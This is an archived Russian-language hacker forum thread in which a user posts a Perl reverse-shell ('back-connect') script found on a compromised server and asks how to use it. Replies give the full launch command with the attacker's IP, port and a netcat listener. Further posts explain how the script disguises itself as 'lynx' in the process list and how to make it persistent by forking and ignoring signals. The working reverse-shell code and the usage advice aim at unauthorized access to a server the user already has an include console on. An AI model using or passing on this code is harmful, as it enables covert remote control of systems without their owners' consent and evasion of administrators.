PDA

Просмотр полной версии : нашол Perl скрипт


ya_mag
02.08.2007, 15:38
вот на одном уязвимом серваке нашол такое:
#!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);
я так понимаю это что то вроде бакконекта? ни ули что то ещё.. я просто в перле вобще не соображаю :( вопрос: как его заюзать для себя?
на серваке php инклуд консоль работает :) даже с правами какогото юзера :D

Helios
02.08.2007, 15:50
Загрузи этот файл на сервер, затем в консоли выполни

perl your_script.pl 192.168.19.217 12345 >/dev/null &


где your_script.pl - имя скрипта, который ты загрузишь,
192.168.19.217 - твой IP
12345 - порт, на котором ты запустишь неткат на своей машине и будешь ждать коннекта

>/dev/null - перенаправление всего, что будет выводить твой скрипт в консоль на сервере в никуда

& - исполнять в фоне

C!klodoL
02.08.2007, 16:10
по моему скрипт просто перенаправляет вывод браузера lynx в сокет

Helios
02.08.2007, 16:23
Выводит он информацию о системе и пользователе, после чего запускает /bin/sh

$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
.....
system($system);


А под lynx, скорее всего, просто маскируется. (точно не знаю, т.к. perl-кодер из меня не ахти какой)

KSURi
02.08.2007, 19:18
$cmd= "lynx"; ... $0=$cmd;

Правильно, этот код спрячет скрипт от ps. Но по хорошему еще надо добавлять \0 (нулевой байт) в конец названия "левого" процесса насколько я помню

fYt
02.08.2007, 19:32
Можно добавить такой код в начало и еще игнорирование сигналов.
my $pid=fork;
exit if $pid;
$SIG{'INT'}='IGNORE';
$SIG{'HUP'}='IGNORE';
$SIG{'TERM'}='IGNORE';
$SIG{'CHLD'}='IGNORE';
$SIG{'PS'}='IGNORE';

biophreak
14.08.2007, 15:53
Да, но некоторые сигналы заигнорить не получится...какие имеено - надо читать доку по Posix сигналам :)

ЗЫЖ И код не ахти какой: где-же use strict; и use warnings; ??? =)
Этим можно избежать многих проблем :)

ЗЗЫЖ Оффтоплю? Сорри :)

fYt
14.08.2007, 15:56
Из этих все получится. Не игонорится SIGKILL.